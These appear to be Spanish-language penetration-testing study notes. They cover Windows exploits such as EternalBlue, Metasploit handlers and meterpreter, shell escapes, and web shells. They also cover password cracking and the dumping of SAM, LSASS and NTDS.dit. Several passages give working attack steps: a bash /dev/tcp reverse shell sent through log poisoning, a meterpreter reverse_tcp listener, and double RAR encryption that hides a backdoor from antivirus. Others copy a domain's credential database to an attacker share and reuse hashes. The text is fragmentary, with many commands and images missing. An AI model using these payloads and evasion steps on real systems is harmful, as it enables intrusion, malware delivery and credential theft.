443 es comúnmente utilizado para tráfico HTTPS, lo que puede ayudar a evitar la detección
en algunas redes.
-f elf: Esta opción especifica el formato del archivo de salida. En este caso, elf indica que la
carga útil generada debe estar en formato ELF (Executable and Linkable Format), que es
un formato común para ejecutables en sistemas operativos Unix y Linux.
Vulnerabilidad Descripción
MS08-067 MS08-067 fue un parche crítico que se implementó en muchas
revisiones diferentes de Windows debido a una falla de SMB. Esta
falla hizo que fuera extremadamente fácil infiltrarse en un host de
Windows. Era tan eficiente que el gusano Conficker lo utilizaba para
infectar todos los hosts vulnerables que encontraba. Incluso Stuxnet
aprovechó esta vulnerabilidad.
Eternal Blue MS17-010 es un exploit filtrado en el volcado de Shadow Brokers de
la NSA. Este exploit se utilizó sobre todo en el ransomware
WannaCry y en los ciberataques NotPetya. Este ataque aprovechó
una falla en el protocolo SMB v1 que permitía la ejecución de
código. Se cree que EternalBlue infectó más de 200.000 hosts solo
en 2017 y sigue siendo una forma común de encontrar acceso a
un host de Windows vulnerable.
PrintNightmare Una vulnerabilidad de ejecución remota de código en la cola de
impresión de Windows. Con credenciales válidas para ese host o
un shell con privilegios bajos, puede instalar una impresora, agregar
un controlador que se ejecute automáticamente y le otorgue
acceso a nivel de sistema al host. Esta vulnerabilidad ha estado
devastando a las empresas durante 2021. 0xdf escribió una
publicación increíble al respecto aquí.
BlueKeep CVE 2019-0708 es una vulnerabilidad en el protocolo RDP de
Microsoft que permite la ejecución remota de código. Esta
vulnerabilidad aprovechó un canal mal llamado para obtener la
ejecución de código, lo que afectó a todas las revisiones de
Windows, desde Windows 2000 hasta Server 2008 R2.
Sigred CVE 2020-1350 utilizó una falla en la forma en que DNS lee los
registros de recursos SIG. Es un poco más complicado que los otros
exploits de esta lista, pero si se hace correctamente, le dará al
atacante privilegios de administrador de dominio, ya que afectará
al servidor DNS del dominio, que suele ser el controlador de dominio
principal.
SeriousSam CVE 2021-36924 explota un problema con la forma en que Windows
maneja los permisos en la C:\Windows\system32\configcarpeta.
Antes de solucionar el problema, los usuarios no elevados tienen
acceso a la base de datos SAM, entre otros archivos. Esto no es un
gran problema ya que no se puede acceder a los archivos mientras
la PC los usa, pero esto se vuelve peligroso cuando se analizan
copias de seguridad de instantáneas de volumen. Estos mismos
errores de privilegios también existen en los archivos de respaldo, lo
que permite a un atacante leer la base de datos SAM y deshacerse
de las credenciales.
Zerologon CVE 2020-1472 es una vulnerabilidad crítica que explota una falla
criptográfica en el protocolo remoto Netlogon de Active Directory
(MS-NRPC) de Microsoft. Permite a los usuarios iniciar sesión en
servidores utilizando NT LAN Manager (NTLM) e incluso enviar
cambios de cuenta a través del protocolo. El ataque puede ser un
poco complejo, pero su ejecución es trivial, ya que un atacante
tendría que adivinar alrededor de 256 contraseñas de cuentas de
computadoras antes de encontrar lo que necesita. Esto puede
suceder en cuestión de unos segundos.
Enumeración de windows
• DLL
• VBS
• .MSI
• PowerShell
Payloads All The Things: es un gran recurso para encontrar líneas rápidas que ayuden a
transferir archivos entre hosts de manera conveniente.
SMB: SMB puede proporcionar una ruta fácil de explotar para transferir archivos entre hosts.
Esto puede resultar especialmente útil cuando los hosts víctimas están unidos a un dominio
y utilizan recursos compartidos para alojar datos. Nosotros, como atacantes, podemos usar
estos archivos compartidos SMB junto con C$ y admin$ para alojar y transferir nuestras
cargas útiles e incluso filtrar datos a través de los enlaces.
Remote execution via MSF: Integrada en muchos de los módulos de exploits en Metasploit
hay una función que construirá, organizará y ejecutará las cargas útiles automáticamente.
Other Protocols: Al mirar un host, protocolos como FTP, TFTP, HTTP/S y más pueden
proporcionarle una forma de cargar archivos al host. Enumere y preste atención a las
funciones que están abiertas y disponibles para su uso.
auxiliary/scanner/smb/smb_ms17_010
exploit/windows/smb/ms17_010_psexec
Shell TTY
Comandos:
/bin/sh -i Shell sh
perl —e 'exec "/bin/sh";' Perl
perl: exec "/bin/sh"; Perl (debe ejecutarse desde un script)
ruby: exec "/bin/sh" Ruby (debe ejecutarse desde un script)
lua: [Link]('/bin/sh') Lua a shell (debe ejecutarse desde un
script)
awk 'BEGIN {system("/bin/sh")}' AWK a Shell
Vim To Shell
vim -c ':!/bin/sh'
Vim Escape
vim
:set shell=/bin/sh
:shell
Web Shells
Que es laudanum: Laudanum es un repositorio de archivos listos para usar que se pueden
usar para inyectar en una víctima y recibir acceso posterior a través de un shell inverso,
ejecutar comandos en el host de la víctima directamente desde el navegador y más. El
repositorio incluye archivos inyectables para incluir muchos lenguajes de aplicaciones web
diferentes asp, aspx, jsp, php, y más. Este es un elemento básico que debe tener en
cualquier pentest.
Ubicación en sistemas Parrot OS.
/usr/share/laudanum/
/usr/share/webshells/laudanum/
Una vez cargado en Webshell veremos algo como lo siguiente al ingresar la ruta donde se
subió:
Ruta:
/nishang/Antak-WebShell/[Link]
Hacemos una copia de en escritorio para poder modificar [Link], luego agregamos
un nombre de usuario y contraseña y guardamos cambios.
Ingresamos al webshell en la ruta que se subió e ingresamos con el usuario y password que
configuramos:
Luego veremos algo como lo siguiente donde podremos ejecutar comandos de sistema
desde un powershell web.
Webshell wwwolf-php-webshell
[Link]
[Link]
• Utilizan nuevas funciones de sintaxis de PHP que no son compatibles con la versión
anterior de PHP que se ejecuta en algunos objetivos.
• Hacen suposiciones erróneas sobre la URL remota, rompiendo la inyección de
código PHP o parámetros GET (no) esperados por el servidor.
• A menudo solo muestran contenido de salida estándar, desechando stderr.
• Manejan mal los caracteres especiales en la visualización de salida (como).
• No permiten la carga de archivos ni ofrecen un método no admitido/bloqueado
por la configuración del objetivo.
• Requieren modificación manual dependiendo de si el objetivo ejecuta un sistema
tipo UNIX o Windows.
Aquí está mi intento de resolver estos problemas. A diferencia de otras soluciones, esta ni
siquiera aspira a convertirse en un 'marco post-explotación con todas las funciones'. Su
único objetivo es proporcionar una forma estable y confiable de poner un pie en la puerta
del objetivo, adhiriéndose al principio KISS tanto como sea posible y siendo lo
suficientemente genérico como para permitirle construir lo que desea a partir de ahí sin
interponerse en su camino.
.png image/png
.pdf application/pdf
.php application/x-httpd-php
.rar application/[Link]
.zip application/zip
.7z application/x-7z-compressed
.txt text/plain
.tar application/x-tar
.sh application/x-sh
.jpeg, .jpg image/jpeg
.bin application/octet-stream
/usr/share/metasploit-framework
msfconsole
msfconsole -q Inicia sin mostrar banner
Otras rutas
ls /usr/share/metasploit-framework/scripts/ Scripts
ls /usr/share/metasploit-framework/tools/ Tools
ls /usr/share/metasploit-framework/modules Módulos
Instalacion de MSF
• Enumeración
• Preparación
• Explotación
• Escalada de privilegios
• Post-explotación
Módulos
Tipo Descripción
Auxiliary Capacidades de escaneo, fuzzing, sniffing
y administración. Ofrezca asistencia y
funcionalidad adicionales.
Encoders Asegúrese de que las cargas útiles estén
intactas hasta su destino.
Exploits Definidos como módulos que explotan una
vulnerabilidad que permitirá la entrega de
carga útil.
NOPs (Sin código de operación) Mantenga los
tamaños de carga útiles consistentes en
todos los intentos de explotación.
Payloads El código se ejecuta de forma remota y
vuelve a llamar a la máquina atacante
para establecer una conexión (o shell).
Plugins Se pueden integrar guiones adicionales
dentro de una evaluación msfconsole y
coexistir.
Post Amplia gama de módulos para recopilar
información, profundizar, etc.
search eternalromance
search eternalromance type:exploit
search type:exploit platform:windows cve:2021 rank:excellent microsoft
search ms17_010
use exploit/windows/smb/ms17_010_psexec
options
info
set RHOSTS <target>
set LHOST <atacante>
set LPORT <Puerto> Puerto a la escucha
exploit
SETG
show targets
show payloads
Luego de encontrar el payload lo podemos setear con su numero o con la ruta completa.
set payload 15
set payload/windows/x64/meterpreter/reverse_tcp
Meterpreter
Una vez ganamos el acceso y obtenemos un meterpreter podemos ver todos sus comandos
(Los comandos que podremos usar en la post-explotación)
La siguiente tabla contiene las cargas útiles más comunes utilizadas para máquinas con
Windows y sus respectivas descripciones.
Ejemplos de Encoders
Reiniciar la DB
msfdb reinit
cp /usr/share/metasploit-framework/config/[Link] ~/.msf4/
sudo service postgresql restart
msfconsole -q
Post-explotacion
post/windows/manage/enable_rdp
Comando shell
shell
Sessiones
Podemos ver las sesiones que hemos obtenido de las victimas con el comando
sessions
sessions 1 Interactuar con una session ya existente
sessions -i 1 Interactuar con una session ya existente
Jobs
Comandos
jobs -h
(multi/handler) > exploit -h
exploit -j
jobs -l
Meterpreter
help ayuda
bg Dejamos la session en
background
search local_exploit_suggester Luego de bg buscamos el exploit
de suggester para la escalada
de priv, el cual nos mostrara una
serie de exploit que podremos
usar para dicha acción.
use Suponiendo que suggester nos
exploit/windows/local/ms15_051_client_copy_images recomienda este exploit, lo
configuramos y usamos para
pasar a ser usuarios root.
hashdump volcado de hashes
lsa_dump_sam volcado de hashes
lsa_dump_secrets Volcado de secretos de
Meterpreter LSA:
• Hashes de contraseñas
• Contraseñas en texto
claro
• Tokens y claves
Recordemos que también podemos buscar exploits dentro de metasploit, para ello
podemos usar el comando search, como lo vemos a continuación.
search nagios
[Link]
Ruta de metasploit
ls /usr/share/metasploit-framework/
Buscamos el exploit que necesitamos que este escrito en ruby .rb ya sea en internet o en
searchsploit.
searchsploit [Link]
searchsploit -m [Link]
cp [Link] exploit/php/webapps/50064
/usr/share/metasploit-framework/modules/exploits/unix/webapp/
Iniciamos metasploit con msfconsole y luego agregamos el exploit nuevo con el siguiente
comando, con esto ya podremos usar el exploit.
reload_all
use exploit/php/webapps/[Link]
Veremos algo como lo siguiente si hacemos un cat al archivo [Link], si se pasa por virus total
lo detectaran algunos AV (Antivirus).
Sin embargo, podemos hacer la doble codificación para que lo detecten menos o no lo
detecten.
Si pasamos el archivo [Link] tal como está por virustotal podemos ver que 12 de 63 lo han
detectado como virus, ahora mejoremos esto con la doble codificación ¡para que no lo
detecten!
wget [Link]
tar -xzvf [Link] && cd rar
rar a ~/[Link] -p ~/[Link]
Luego de ingresar la contraseña que deseamos y confirmarla nos debe aparecer un [Link]
en la carpeta root (donde lo creamos).
mv [Link] test
En la carpeta root (Donde tenemos almacenado el [Link] para que quedara solo como
test) ejecutamos el siguiente comando e ingresamos otras credenciales con las que
deseamos cifrar el archivo.
rar a [Link] -p test
Con el comando anterior se nos crea el archivo [Link] que es el archivo final, ahora
solamente quitamos la extensión .rar para que quede únicamente con el nombre test2.
mv [Link] test2
Con lo anterior ya tenemos nuestro Backdoor listo, en la imagen siguiente vemos como al
montar el archivo infectado a virustotal únicamente un solo antivirus detecto el malware,
para este caso Acronis es la única marca que detecto el Backdoor.
Ahora un .exe
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST [Link]
set LPORT 8080
exploit
En la victima
unrar x test64_2
unrar x test64
./[Link]
Metasploit a la escucha.
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST [Link]
set LPORT 8080
exploit
Nota importante
Donde putty2 es el archivo final, tener en cuenta que el doble cifrado ayuda a evadir
firewalls IDS/IPS de forma efectiva, pero en pruebas locales al ejecutar el putty2 (Carga útil
final .exe) si el windows defender esta en análisis de tiempo real, en mi caso lo detecto, pero
al tener el defender activo, pero no en tiempo real, el payload funciono y pudo crear el
shell reverso.
Explotación y movimiento lateral
Password Attacks (ATAQUES DE CONTRASEÑA)
Validación de correos hackeados
Personalmente pienso que [Link] es mejor ya que fuera de que te dice si ha sido
comprometido tu correo te muestra en que paginas fue la filtración e incluso te muestra las
credenciales del correo, si han sido filtradas.
[Link]
[Link]
Linux
Como ya sabemos, los sistemas basados en Linux manejan todo en forma de archivo. En
consecuencia, las contraseñas también se almacenan cifradas en un archivo. Este archivo
se llama shadow y se encuentra en /etc/shadow y forma parte del sistema de gestión de
usuarios de Linux. Además, estas contraseñas suelen almacenarse en formato hashes. Un
ejemplo puede verse así:
Algunos archivos más pertenecen al sistema de gestión de usuarios de Linux. Los otros dos
archivos son /etc/passwd y /etc/group. En el pasado, la contraseña cifrada se almacenaba
junto con el nombre de usuario en el archivo /etc/passwd, pero esto se reconocía cada
vez más como un problema de seguridad porque todos los usuarios del sistema pueden ver
el archivo y debe ser legible. El archivo /etc/shadow sólo puede ser leído por el usuario root.
Archivo Passwd
El campo x de contraseña indica que la contraseña cifrada está en el archivo /etc/shadow.
Sin embargo, la redirección al archivo /etc/shadow no hace que los usuarios del sistema
sean invulnerables porque si los derechos de este archivo se configuran incorrectamente,
el archivo puede manipularse de modo que el usuario root no necesite escribir una
contraseña para iniciar sesión. El campo vacío significa que podemos iniciar sesión con el
nombre de usuario sin ingresar una contraseña.
LSASS
Es muy común encontrarnos con entornos de red donde los sistemas Windows están unidos
a un dominio de Windows. Esto es común porque facilita a los administradores la gestión de
todos los sistemas propiedad de sus respectivas organizaciones (administración
centralizada). En estos casos, los sistemas Windows enviarán todas las solicitudes de inicio
de sesión a controladores de dominio que pertenecen al mismo bosque de Active Directory.
Cada controlador de dominio aloja un archivo llamado [Link] que se mantiene
sincronizado en todos los controladores de dominio con la excepción de los controladores
de dominio de solo lectura. [Link] es un archivo de base de datos que almacena los datos
en Active Directory, que incluye, entre otros:
John the Ripper (JTR o john) es una herramienta de pentesting esencial que se utiliza para
comprobar la seguridad de las contraseñas y descifrar contraseñas cifradas (o hash)
utilizando fuerza bruta o ataques de diccionario.
Tecnologías de cifrado
Métodos de ataque
Ataques de diccionario
Los ataques de diccionario implican el uso de una lista pregenerada de palabras y frases
(conocida como diccionario) para intentar descifrar una contraseña. Esta lista de palabras
y frases suele obtenerse de diversas fuentes, como diccionarios disponibles públicamente,
contraseñas filtradas o incluso adquiridas en empresas especializadas. Luego, el diccionario
se usa para generar una serie de cadenas que luego se usan para comparar con las
contraseñas hash. Si se encuentra una coincidencia, la contraseña se descifra,
proporcionando al atacante acceso al sistema y a los datos almacenados en él. Este tipo
de ataque es muy eficaz. Por lo tanto, es esencial tomar las medidas necesarias para
garantizar que las contraseñas se mantengan seguras, como usar contraseñas complejas y
únicas, cambiarlas periódicamente y utilizar autenticación de dos factores.
Los ataques de fuerza bruta implican intentar todas las combinaciones imaginables de
caracteres que podrían formar una contraseña. Este es un proceso extremadamente lento
y, por lo general, solo se recomienda utilizar este método si no hay otras alternativas.
También es importante tener en cuenta que cuanto más larga y compleja sea la
contraseña, más difícil será descifrarla y más tiempo llevará agotar todas las
combinaciones. Por este motivo, es muy recomendable que las contraseñas tengan al
menos 8 caracteres de longitud, con una combinación de letras, números y símbolos.
Los ataques de tabla Rainbow implican el uso de una tabla precalculada de hashes y sus
correspondientes contraseñas de texto sin formato, que es un método mucho más rápido
que un ataque de fuerza bruta. Sin embargo, este método está limitado por el tamaño de
la tabla del arco iris: cuanto más grande sea la tabla, más contraseñas y hashes podrá
almacenar. Además, debido a la naturaleza del ataque, es imposible utilizar tablas de
arcoíris para determinar el texto sin formato de los hashes que aún no están incluidos en la
tabla. Como resultado, los ataques a la tabla arcoíris solo son efectivos contra los hashes
que ya están presentes en la tabla, por lo que cuanto más grande sea la tabla, más exitoso
será el ataque.
Modos de craqueo
Single Crack Mode es uno de los modos John más comunes que se utilizan al intentar
descifrar contraseñas utilizando una lista de contraseñas única. Es un ataque de fuerza
bruta, lo que significa que se prueban todas las contraseñas de la lista, una por una, hasta
encontrar la correcta. Este método es la forma más básica y sencilla de descifrar
contraseñas y, por lo tanto, es una opción popular para quienes desean obtener acceso a
un sistema seguro. Sin embargo, está lejos de ser el método más eficaz, ya que puede llevar
un tiempo indefinido descifrar una contraseña, dependiendo de la longitud y complejidad
de la contraseña en cuestión. La sintaxis básica del comando es:
Wordlist Mode se utiliza para descifrar contraseñas utilizando múltiples listas de palabras. Es
un ataque de diccionario, lo que significa que probará todas las palabras de las listas una
por una hasta encontrar la correcta.
El flag --rules es extremadamente útil para expandir y transformar una lista de palabras,
aumentando así las posibilidades de romper hashes mediante una mayor variedad de
combinaciones posibles.
Incremental Mode es un modo John avanzado que se utiliza para descifrar contraseñas
utilizando un conjunto de caracteres. Es un ataque híbrido, lo que significa que intentará
hacer coincidir la contraseña probando todas las combinaciones posibles de caracteres
del conjunto de caracteres. Este modo es el más eficaz y, al mismo tiempo, el que consume
más tiempo de todos los modos John. Este modo funciona mejor cuando sabemos cuál
podría ser la contraseña, ya que probará todas las combinaciones posibles en secuencia,
comenzando por la más corta. Esto lo hace mucho más rápido que el ataque de fuerza
bruta, donde todas las combinaciones se prueban al azar. Además, el modo incremental
también se puede utilizar para descifrar contraseñas débiles, que pueden resultar difíciles
de descifrar con los modos estándar de John. La principal diferencia entre el modo
incremental y el modo de lista de palabras es la fuente de las adivinanzas de contraseña.
El modo incremental genera conjeturas sobre la marcha, mientras que el modo de lista de
palabras utiliza una lista predefinida de palabras. Al mismo tiempo, el modo de descifrado
único se utiliza para comparar una única contraseña con un hash.
El resultado se vería algo como lo siguiente (en la imagen se muestra que tardo 1 minuto
con 6 segundos para encontrar la contraseña “password”)
Usando este comando leeremos los hashes en el archivo hash especificado y luego
generaremos todas las combinaciones posibles de caracteres, comenzando con un solo
carácter e incrementando con cada iteración. Es importante tener en cuenta que este
modo highly resource intensive puede tardar mucho en completarse, dependiendo de la
complejidad de las contraseñas, la configuración de la máquina y la cantidad de
caracteres establecidos. Además, es importante tener en cuenta que el juego de
caracteres predeterminado está limitado a a-zA-Z0-9. Por lo tanto, si intentamos descifrar
contraseñas complejas con caracteres especiales, necesitamos utilizar un juego de
caracteres personalizado.
Descifrar archivos
También es posible descifrar incluso archivos cifrados o protegidos con contraseña con
John. Usamos herramientas adicionales que procesan los archivos proporcionados y
producen hashes con los que John puede trabajar. Detecta automáticamente los formatos
e intenta descifrarlos. La sintaxis para esto puede verse así:
Herramienta Descripción
pdf2john Convierte documentos PDF para John
ssh2john Convierte claves privadas SSH para John
mscash2john Convierte hashes de MS Cash para John
keychain2john Convierte archivos de llavero de OS X para
John
rar2john Convierte archivos RAR para John
pfx2john Convierte archivos PKCS#12 para John
truecrypt_volume2john Convierte volúmenes TrueCrypt para John
keepass2john Convierte bases de datos KeePass para
John (.kdbx) (sudo apt install keepassxc)
vncpcap2john Convierte archivos VNC PCAP para John
putty2john Convierte claves privadas PuTTY para John
zip2john Convierte archivos ZIP para John
hccap2john Convierte capturas de protocolo de
enlace WPA/WPA2 para John
office2john Convierte documentos de MS Office para
John
wpa2john Convierte protocolos de enlace
WPA/WPA2 para John
locate *2john*
Servicios de red
Durante nuestras pruebas de penetración, cada red informática que encontremos tendrá
servicios instalados para administrar, editar o crear contenido. Todos estos servicios se alojan
mediante permisos específicos y se asignan a usuarios específicos. Además de las
aplicaciones web, estos servicios incluyen (pero no se limitan a):
dir /s /b flag.*
dir /s /b *.txt
CrackMapExec
Instalacion ([Link]
Uso de CrackMapExec
Mas ejemplos
cp /root/.cme/workspaces/default/[Link] ~/cme_winrm.bak
rm -f /root/.cme/workspaces/default/[Link]
Verificar en una ip o toda la red si las credenciales user y pass son correctos
Obtener los hashes de los usuarios en este caso del usuario Administrador.
con los hashes obtenidos NTLM del comando anterior podremos hacer ahora PASS de
HASH con crackmapexec
muestra los hashes de todos los usuarios registrados en el directorio activo de la empresa
auditada.
Password Spraying
Evil-WinRM (Instalacion)
RSAcrack
suForce
Hydra (Ataques)
ssh user@[Link]
auxiliary/scanner/ssh/ssh_login
set user_file [Link]
set pass_file [Link]
set rhosts IPVictima
run
SSH conexiones:
llave=(id_rsa), user=(usuario-victima)
Descargas SSH:
PubkeyAuthentication yes
PasswordAuthentication no
systemctl restart sshd
sudo service ssh restart
Verificamos el puerto:
tail -2 /etc/[Link]
Conexión (Pivoting):
Creamos el tunnel:
ssh -i llave user@IP-Victima -N -D [Link]:9050
Hacemos un escaneo con nmap sobre un pc de la red que no teníamos alcance, ósea
(la segunda red)
proxychains nmap -sT -p80 IP-Victima -Pn Importante usar el -sT y -Pn para el escaneo
Apache
Linux Windows
/var/log/apache2/ C:\xampp\apache\logs\
Nginx
Linux Windows
/var/log/nginx/ C:\nginx\log\
/var/log/apache2/[Link]
/var/log/nginx/[Link]
/var/log/mysql/[Link]
/var/log/postgresql/postgresql-<version>-[Link]
/var/log/[Link]
/var/log/syslog
/var/log/[Link] SSH
/var/log/tomcat/[Link]
C:\inetpub\logs\LogFiles\W3SVC1\u_ex<date>.log IIS
/SecLists-master/Discovery/Web-Content/[Link]
/SecLists-master/Discovery/Web-Content/[Link]
[Link]
[Link]
Windows
/var/log/[Link]
/var/log/mail
/var/log/[Link]
Link: [Link]
Vemos que al agregar un usuario php malicioso con un parámetro cmd en metasploit
funciona, como vemos en la imagen siguiente, ingresar un comando como “id” se puede
ver reflejado en el log.
Se procede a realizar el reverse Shell con un comando de bash (bash -c "bash -i >%26
/dev/tcp/IPAtacante/4321 0>%261") mediante la url
Conexión RDP
Instalación xfreerdp
A continuación, una tabla con la contraseña “Password” donde podemos apreciar sus
mutaciones.
Creamos una lista de contraseñas, para el ejemplo creamos el archivo de contraseñas con
una sola, la cual será “password”
Podemos utilizar una herramienta muy poderosa llamada Hashcat para combinar listas de
nombres y etiquetas potenciales con reglas de mutación específicas para crear listas de
palabras personalizadas. Para familiarizarse más con Hashcat y descubrir todo el potencial
de esta herramienta, le recomendamos el módulo Cracking Passwords with Hashcat.
Hashcat utiliza una sintaxis específica para definir caracteres y palabras y cómo se pueden
modificar. La lista completa de esta sintaxis se puede encontrar en la documentación oficial
de Hashcat. Sin embargo, los que se enumeran a continuación son suficientes para que
entendamos cómo Hashcat muta las palabras.
Función Descripción
: Hacer nada.
l Minúscula todas las letras.
u Mayúsculas todas las letras.
c Ponga en mayúscula la primera letra y las
demás en minúscula.
sXY Reemplace todas las instancias de X con Y.
$! Añade el carácter de exclamación al final.
Cada regla está escrita en una nueva línea que determina cómo se debe mutar la palabra.
Si escribimos las funciones mostradas arriba en un archivo y consideramos los aspectos
mencionados, este archivo puede verse así: (Creamos un archivo [Link] y agregamos
lo siguiente)
Hashcat aplicará las reglas [Link] para cada palabra [Link] y almacenará la
versión mutada en nuestro mut_password.list en consecuencia. Por tanto, una palabra dará
como resultado quince palabras mutadas en este caso.
ls /usr/share/hashcat/rules/
CEWL
Ahora podemos utilizar otra herramienta llamada CeWL para escanear palabras
potenciales del sitio web de la empresa y guardarlas en una lista separada. Luego podemos
combinar esta lista con las reglas deseadas y crear una lista de contraseñas personalizada
que tenga una mayor probabilidad de adivinar la contraseña correcta. Especificamos
algunos parámetros, como la profundidad de la araña (-d), la longitud mínima de la
palabra (-m), el almacenamiento de las palabras encontradas en minúsculas (--lowercase),
así como el archivo donde queremos almacenar los resultados (-w).
username:password
Con acceso a un sistema Windows sin dominio, podemos beneficiarnos al intentar volcar
rápidamente los archivos asociados con la base de datos SAM para transferirlos a nuestro
host de ataque y comenzar a descifrar hashes sin conexión. Hacer esto sin conexión
garantizará que podamos continuar intentando nuestros ataques sin mantener una sesión
activa con un objetivo.
Hay tres colmenas de registro que podemos copiar si tenemos acceso de administrador
local en el destino; cada uno tendrá un propósito específico cuando lleguemos a desechar
y descifrar los hashes. Aquí hay una breve descripción de cada uno en la siguiente tabla:
Iniciar CMD como administrador nos permitirá ejecutar [Link] para guardar copias de las
colmenas de registro antes mencionadas. Ejecute estos comandos a continuación para
hacerlo:
Ruta
impacket/examples/[Link]
Ejecución
Una vez que tengamos los hashes, podemos comenzar a intentar descifrarlos usando
Hashcat.
nano [Link]
Copiamos los números después de los dos puntos (:) y estos son los que ingresamos dentro
de [Link] – ejemplo (41d6cfe0d16ee931b73c59d7e0c089c0) HASH: NTLM
Wiki de códigos Hash-Mode Hash-Name que necesitaremos para identificar el tipo de hash
a crackear.
[Link]
Ejemplo de comando a ejecutar
Podemos ver en el resultado que Hashcat utilizó un tipo de ataque llamado ataque de
diccionario para adivinar rápidamente las contraseñas utilizando una lista de contraseñas
conocidas ([Link]) y logró descifrar 3 de los hashes.
Comando de crackmapexec
Además de obtener copias de la base de datos SAM para volcar y descifrar hashes,
también nos beneficiaremos al apuntar a LSASS. LSASS es un servicio crítico que desempeña
un papel central en la gestión de credenciales y los procesos de autenticación en todos los
sistemas operativos Windows.
tasklist /svc
Get-Process lsass
El comando inicia el uso de Pypykatz para analizar los secretos ocultos en el volcado de
memoria del proceso LSASS.
Comando para enviar archivos de Windows a Linux (luego de poner el Linux a la escucha
con python3 impacket/examples/[Link] a . -smb2support)
MSV es un paquete de autenticación en Windows al que LSA recurre para validar los
intentos de inicio de sesión en la base de datos SAM. Pypykatz extrajo los hashes SID,
Username, Domain e incluso NT & contraseña SHA1 asociados con la sesión de inicio de
sesión de la cuenta de usuario bob almacenada en la memoria del proceso LSASS.
WDIGEST
DPAPI
Ahora podemos usar Hashcat para descifrar NT Hash. En este ejemplo, solo encontramos un
hash NT asociado con el usuario Bob.
En lugar de un solo hash, también podríamos pasar un archivo .txt con varios hashes.
Active Directory (AD) es un servicio de directorio común y crítico en las redes empresariales
modernas. AD es algo que encontraremos repetidamente, por lo que debemos estar
familiarizados con varios métodos que podemos usar para atacar y defender estos entornos
AD. Es seguro concluir que, si la organización usa Windows, entonces se usa AD para
administrar esos sistemas Windows. Atacar AD es un tema tan extenso y significativo que
tenemos varios módulos que cubren AD.
primernombreinicialapellido
Primeroinicialsegundoinicialapellido
Nombreapellido
[Link]
[Link]
nikname
Digamos que hemos investigado y recopilado una lista de nombres basada en información
disponible públicamente. Mantendremos la lista relativamente corta para esta lección
porque las organizaciones pueden tener una gran cantidad de empleados. Lista de
ejemplo de nombres:
• Ben Williamson
• Bob Burgerstien
• Jim Stevenson
• Jill Johnson
• Jane Doe
Podemos crear una lista personalizada en nuestro host de ataque usando los nombres
anteriores. Podemos usar un editor de texto basado en línea de comandos como Vim, nano
o un editor de texto gráfico para crear nuestra lista. Nuestra lista puede verse así:
Por supuesto, esto es solo un ejemplo y no incluye todos los nombres, pero observe cómo
podemos incluir una convención de nomenclatura diferente para cada nombre si aún no
conocemos la convención de nomenclatura utilizada por la organización de destino.
Podemos crear manualmente nuestra(s) lista(s) o utilizar una automated list generator
herramienta basada en Ruby Username Anarchy para convertir una lista de nombres reales
en formatos de nombre de usuario comunes. Una vez que la herramienta se haya clonado
en nuestro host de ataque local usando Git, podemos ejecutarla con una lista de nombres
reales como se muestra en el siguiente ejemplo:
./username-anarchy -i /home/ltnbob/[Link]
Lanzando el ataque con CrackMapExec (SMB)
Si los administradores configuraron una política de bloqueo de cuenta, este ataque podría
bloquear la cuenta a la que nos dirigimos.
Capturando [Link]
Una vez conectados, podemos comprobar qué privilegios tiene bwilliamson. Podemos
comenzar mirando la membresía del grupo local usando el comando:
net localgroup
Estamos mirando para ver si la cuenta tiene derechos de administrador local. Para hacer
una copia del archivo [Link], necesitamos derechos de administrador local
(Administrators group) o administrador de dominio (Domain Admins group) (o equivalente).
También querremos comprobar qué privilegios de dominio tenemos.
Podemos usar vssadmin para crear una instantánea de volumen (VSS) de la unidad C: o
cualquier volumen que el administrador eligió al instalar AD inicialmente. Es muy probable
que NTDS se almacene en C: ya que esa es la ubicación predeterminada seleccionada
durante la instalación, pero es posible cambiar la ubicación. Usamos VSS para esto porque
está diseñado para hacer copias de volúmenes que se pueden leer y escribir activamente
sin necesidad de desactivar una aplicación o sistema en particular. VSS es utilizado por
muchos programas diferentes de respaldo y recuperación ante desastres para realizar
operaciones.
[Link] /c copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\[Link]
c:\NTDS\[Link]
Antes de copiar [Link] a nuestro host de ataque, es posible que deseemos utilizar la
técnica que aprendimos anteriormente para crear un recurso compartido SMB en nuestro
host de ataque. ([Link])
Transferencia de [Link] al host de ataque
Ahora [Link] /c move se puede utilizar para mover el archivo desde el DC de destino al
recurso compartido en nuestro host de ataque.
Podemos continuar con la creación de un archivo de texto que contenga todos los hashes
NT, o podemos copiar y pegar individualmente un hash específico en una sesión de terminal
y usar Hashcat para intentar descifrar el hash y una contraseña en texto sin cifrar.
Todavía podemos usar hashes para intentar autenticarnos en un sistema mediante un tipo
de ataque llamado Pass-the-Hash (PtH). Un ataque PtH aprovecha el protocolo de
autenticación NTLM para autenticar a un usuario mediante un hash de contraseña. En
lugar de username: clear-text Password como formato para iniciar sesión, podemos usar
username: password hash. A continuación, se muestra un ejemplo de cómo funcionaría
esto:
[Link]
Una vez que tengamos acceso a una máquina Windows de destino a través de la GUI o
CLI, podemos beneficiarnos significativamente al incorporar la búsqueda de credenciales
en nuestro enfoque. Credential Huntinges el proceso de realizar búsquedas detalladas en
todo el sistema de archivos y en varias aplicaciones para descubrir credenciales.
Ya sea que terminemos con acceso a la GUI o CLI, sabemos que tendremos algunas
herramientas para usar en la búsqueda, pero de igual importancia es qué estamos
buscando exactamente. A continuación, se muestran algunos términos clave útiles que
podemos utilizar y que pueden ayudarnos a descubrir algunas credenciales:
Con acceso a la GUI, vale la pena intentar usarla Windows Search para buscar archivos en
el destino usando algunas de las palabras clave mencionadas anteriormente.
Una vez que [Link] esté en el objetivo, podemos abrir el símbolo del sistema o
PowerShell, navegar hasta el directorio en el que se cargó el archivo y ejecutar el siguiente
comando:
También podemos usar findtr para buscar patrones en muchos tipos de archivos. Teniendo
en cuenta los términos clave comunes, podemos usar variaciones de este comando para
descubrir credenciales en un destino de Windows:
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
Aquí hay algunos otros lugares que debemos tener en cuenta al buscar credenciales:
La búsqueda de credenciales es uno de los primeros pasos una vez que tenemos acceso al
sistema. Estas frutas al alcance de la mano pueden otorgarnos privilegios elevados en
cuestión de segundos o minutos.
Archivos
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l
2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
En este ejemplo, buscamos tres palabras (user, password, pass) en cada archivo con la
extensión de archivo .cnf.
